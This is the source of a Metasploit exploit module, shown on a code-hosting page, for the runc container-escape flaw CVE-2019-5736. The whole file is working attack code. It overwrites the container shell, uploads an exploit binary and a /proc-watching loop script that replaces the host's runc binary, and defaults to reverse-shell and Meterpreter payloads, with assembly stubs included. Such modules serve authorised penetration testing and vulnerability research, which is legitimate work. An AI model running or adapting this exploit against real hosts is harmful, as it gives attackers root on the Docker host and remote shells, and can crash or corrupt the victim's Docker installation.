Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/docker_runc_escape.rb
31903 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
8
Rank = ManualRanking
9
10
include Msf::Post::Linux::Priv
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
16
PAYLOAD_MAX_SIZE = 1048576
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Docker Container Escape Via runC Overwrite',
23
'Description' => %q{
24
This module leverages a flaw in `runc` to escape a Docker container
25
and get command execution on the host as root. This vulnerability is
26
identified as CVE-2019-5736. It overwrites the `runc` binary with the
27
payload and wait for someone to use `docker exec` to get into the
28
container. This will trigger the payload execution.
29
30
Note that executing this exploit carries important risks regarding
31
the Docker installation integrity on the target and inside the
32
container ('Side Effects' section in the documentation).
33
},
34
'Author' => [
35
'Adam Iwaniuk', # Discovery and original PoC
36
'Borys Popławski', # Discovery and original PoC
37
'Nick Frichette', # Other PoC
38
'Christophe De La Fuente', # MSF Module
39
'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)
40
],
41
'References' => [
42
['CVE', '2019-5736'],
43
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
44
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
45
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
46
],
47
'DisclosureDate' => '2019-01-01',
48
'License' => MSF_LICENSE,
49
'Privileged' => true,
50
'Targets' => [
51
[
52
'Unix (In-Memory)',
53
{
54
'Platform' => 'unix',
55
'Type' => :unix_memory,
56
'Arch' => ARCH_CMD,
57
'DefaultOptions' => {
58
'PAYLOAD' => 'cmd/unix/reverse_bash'
59
}
60
}
61
],
62
[
63
'Linux (Dropper) x64',
64
{
65
'Platform' => 'linux',
66
'Type' => :linux_dropper,
67
'Arch' => ARCH_X64,
68
'Payload' => {
69
'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string
70
push 4
71
pop rdi
72
_close_fds_loop:
73
dec rdi
74
push 3
75
pop rax
76
syscall
77
test rdi, rdi
78
jnz _close_fds_loop
79
80
mov rax, 0x000000000000006c
81
push rax
82
mov rax, 0x6c756e2f7665642f
83
push rax
84
mov rdi, rsp
85
xor rsi, rsi
86
87
push 2
88
pop rax
89
syscall
90
91
push 2
92
pop rax
93
syscall
94
95
push 2
96
pop rax
97
syscall
98
ASM
99
},
100
'DefaultOptions' => {
101
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
102
'PrependFork' => true
103
}
104
}
105
],
106
[
107
'Linux (Dropper) x86',
108
{
109
'Platform' => 'linux',
110
'Type' => :linux_dropper,
111
'Arch' => ARCH_X86,
112
'Payload' => {
113
'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string
114
push 4
115
pop edi
116
_close_fds_loop:
117
dec edi
118
push 6
119
pop eax
120
int 0x80
121
test edi, edi
122
jnz _close_fds_loop
123
124
push 0x0000006c
125
push 0x7665642f
126
push 0x6c756e2f
127
mov ebx, esp
128
xor ecx, ecx
129
130
push 5
131
pop eax
132
int 0x80
133
134
push 5
135
pop eax
136
int 0x80
137
138
push 5
139
pop eax
140
int 0x80
141
ASM
142
},
143
'DefaultOptions' => {
144
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
145
'PrependFork' => true
146
}
147
}
148
]
149
],
150
'DefaultOptions' => {
151
# Give the user on the target plenty of time to trigger the payload
152
'WfsDelay' => 300
153
},
154
'DefaultTarget' => 1,
155
'Notes' => {
156
# Docker may hang and will need to be restarted
157
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
158
'Reliability' => [REPEATABLE_SESSION],
159
'SideEffects' => [ARTIFACTS_ON_DISK]
160
}
161
)
162
)
163
164
register_options([
165
OptString.new(
166
'OVERWRITE',
167
[
168
true,
169
'Shell to overwrite with \'#!/proc/self/exe\'',
170
'/bin/sh'
171
]
172
),
173
OptString.new(
174
'SHELL',
175
[
176
true,
177
'Shell to use in scripts (must be different than OVERWRITE shell)',
178
'/bin/bash'
179
]
180
),
181
OptString.new(
182
'WRITABLEDIR',
183
[
184
true,
185
'A directory where you can write files.',
186
'/tmp'
187
]
188
)
189
])
190
end
191
192
def encode_begin(real_payload, reqs)
193
super
194
195
return unless target['Type'] == :unix_memory
196
197
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
198
# Replace any instance of the shell we're about to overwrite with the
199
# substitution shell.
200
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
201
overwrite_basename = File.basename(datastore['OVERWRITE'])
202
shell_basename = File.basename(datastore['SHELL'])
203
# Also, substitute shell base names, since some payloads rely on PATH
204
# environment variable to call a shell
205
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
206
# Prepend shebang
207
"#!#{datastore['SHELL']}\n#{pl}\n\n"
208
end
209
end
210
211
def exploit
212
unless is_root?
213
fail_with(Failure::NoAccess,
214
'The exploit needs a session as root (uid 0) inside the container')
215
end
216
if target['Type'] == :unix_memory
217
print_warning(
218
"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\
219
"unavailable on the target as long as the new session is alive. Using a\n"\
220
"Meterpreter payload is recommended, since specific code that\n"\
221
"daemonizes the process is automatically prepend to the payload\n"\
222
"and won\'t block Docker."
223
)
224
end
225
226
verify_shells
227
228
path = datastore['WRITABLEDIR']
229
overwrite_shell(path)
230
shell_path = setup_exploit(path)
231
232
print_status("Launch exploit loop and wait for #{wfs_delay} sec.")
233
create_process('/bin/bash', args: [ shell_path ], time_out: wfs_delay, opts: { 'Subshell' => false })
234
235
print_status('Done. Waiting a bit more to make sure everything is setup...')
236
sleep(5)
237
print_good('Session ready!')
238
end
239
240
def verify_shells
241
['OVERWRITE', 'SHELL'].each do |option_name|
242
shell = datastore[option_name]
243
unless command_exists?(shell)
244
fail_with(Failure::BadConfig,
245
"Shell specified in #{option_name} module option doesn't exist (#{shell})")
246
end
247
end
248
end
249
250
def overwrite_shell(path)
251
@shell = datastore['OVERWRITE']
252
@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"
253
print_status("Make a backup of #{@shell} (#{@shell_bak})")
254
# This file will be restored if the loop script succeed. Otherwise, the
255
# cleanup method will take care of it.
256
begin
257
copy_file(@shell, @shell_bak)
258
rescue Rex::Post::Meterpreter::RequestError => e
259
fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
260
end
261
262
print_status("Overwrite #{@shell}")
263
begin
264
write_file(@shell, '#!/proc/self/exe')
265
rescue Rex::Post::Meterpreter::RequestError => e
266
fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
267
end
268
end
269
270
def setup_exploit(path)
271
print_status('Upload payload')
272
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
273
if target['Type'] == :unix_memory
274
vprint_status("Updated payload:\n#{payload.encoded}")
275
upload(payload_path, payload.encoded)
276
else
277
pl = generate_payload_exe
278
if pl.size > PAYLOAD_MAX_SIZE
279
fail_with(Failure::BadConfig,
280
"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
281
end
282
upload(payload_path, generate_payload_exe)
283
end
284
285
print_status('Upload exploit')
286
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
287
upload_and_chmodx(exe_path, get_exploit)
288
register_files_for_cleanup(exe_path)
289
290
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
291
@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
292
print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")
293
upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))
294
295
return shell_path
296
end
297
298
def upload(path, data)
299
print_status("Writing '#{path}' (#{data.size} bytes) ...")
300
begin
301
write_file(path, data)
302
rescue Rex::Post::Meterpreter::RequestError => e
303
fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
304
end
305
register_file_for_cleanup(path)
306
end
307
308
def upload_and_chmodx(path, data)
309
upload(path, data)
310
chmod(path, 0o755)
311
end
312
313
def get_exploit
314
target_arch = session.arch
315
if session.arch == ARCH_CMD
316
target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86
317
end
318
case target_arch
319
when ARCH_X64
320
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
321
when ARCH_X86
322
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
323
else
324
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
325
end
326
end
327
328
def loop_script(exe_path:, payload_path:)
329
<<~SHELL
330
while true; do
331
for f in /proc/*/exe; do
332
tmp=${f%/*}
333
pid=${tmp##*/}
334
cmdline=$(cat /proc/${pid}/cmdline)
335
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
336
#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&
337
sleep 3
338
mv -f #{@shell_bak} #{@shell}
339
chmod +x #{@shell}
340
exit
341
fi
342
done
343
done
344
SHELL
345
end
346
347
def cleanup
348
super
349
350
# If something went wrong and the loop script didn't restore the original
351
# shell in the docker container, make sure to restore it now.
352
if @shell_bak && file_exist?(@shell_bak)
353
copy_file(@shell_bak, @shell)
354
chmod(@shell, 0o755)
355
print_good('Container shell restored')
356
end
357
rescue Rex::Post::Meterpreter::RequestError => e
358
fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
359
ensure
360
# Make sure we delete the backup file
361
begin
362
rm_f(@shell_bak) if @shell_bak
363
rescue Rex::Post::Meterpreter::RequestError => e
364
fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
365
end
366
end
367
368
def on_new_session(new_session)
369
super
370
@session = new_session
371
runc_path = cmd_exec('which docker-runc')
372
if runc_path == ''
373
print_error(
374
"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\
375
"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"
376
)
377
return
378
end
379
380
begin
381
rm_f(runc_path)
382
rescue Rex::Post::Meterpreter::RequestError => e
383
print_error("Unable to delete #{runc_path}: #{e}")
384
return
385
end
386
if copy_file(@runc_backup_path, runc_path)
387
chmod(runc_path, 0o755)
388
print_good('Original runc binary restored')
389
begin
390
rm_f(@runc_backup_path)
391
rescue Rex::Post::Meterpreter::RequestError => e
392
print_error("Unable to delete #{@runc_backup_path}: #{e}")
393
end
394
else
395
print_error(
396
"Unable to restore the original runc binary #{@runc_backup_path}\n"\
397
"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"
398
)
399
end
400
end
401
402
end
403
404